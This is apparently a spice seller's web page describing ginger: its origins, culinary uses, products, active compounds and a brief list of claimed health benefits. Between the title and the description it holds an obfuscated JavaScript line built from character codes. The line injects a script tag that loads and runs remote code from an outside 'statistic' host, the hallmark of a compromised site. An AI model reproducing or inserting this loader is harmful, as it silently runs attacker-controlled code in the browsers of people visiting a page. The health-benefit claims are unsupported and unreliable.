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Ginger – Zingiber Officinale

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    var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

    Description

    A spice that needs no introduction ginger is currently one of the most widely used spices in the world as more and more regional cuisines integrate ginger into their dishes. The spice is extracted from the thick gnarly roots of the ginger plant, originating from Asian regions it has been a favorite ingredient for both chefs and doctors thanks to its sheer versatility in both culinary and medicinal applications in Sri Lanka it is one of the most used medicinal ingredients in native treatments 

    A staple in Sri Lankan and Asian cuisine as whole ginger imparts a tart flavor with some peppery heat and mild sweetness that mellows when cooked. Ginger is used to tenderizing and flavor meats and adds complexity to any dish it’s used in. Ginger can also be ground into a fine powder to be used in making desserts or sliced and steeped with hot water to make ginger tea which is a popular beverage rich in health benefits.

    Products and uses 

     

    Ginger is abundantly available in the local market as fresh ginger or in dry form. Dried ginger is powdered and used for different products. Pickled fresh ginger is popular in East Asian countries and salted and sweetened ginger products are also commonly available in the Asian markets. Ginger oils and oleoresins are used in the food industry as a spice to flavor curries, bakery & other food products, and to some extent in the perfumery industry, Also it is a common ingredient in the Ayurvedic medical system till today.

     

     

    What it contains 

     

    Ginger contains very few vitamins and minerals. Since it is typically eaten in small quantities, people generally don’t get many nutrients from it. Unique compounds within ginger are thought to be the primary source of its health benefits. These include gingerol, shogaols, zingiberene, and zingerone.

     

    Health Benefits 

    Nausea Relief, Blood Sugar Management, Decrease Menstrual Bleeding, Pain Reduction

     

    How to Use Ginger

    Ginger has a distinct flavor and adds a bit of a spicy kick to food. Fresh ginger can be grated into dishes or sliced and pickled. Dried, ground ginger adds flavor to both savory and sweet recipes.

    Here are some foods that taste great with ginger added to them:

    • Cooked vegetables, such as carrots or asparagus
    • Indian & Sri Lankan  curry dishes with coconut milk
    • Bread and muffins
    • Chinese stir fry
    • Sushi
    • Grilled chicken
    • Chicken soup
    • Apple cake

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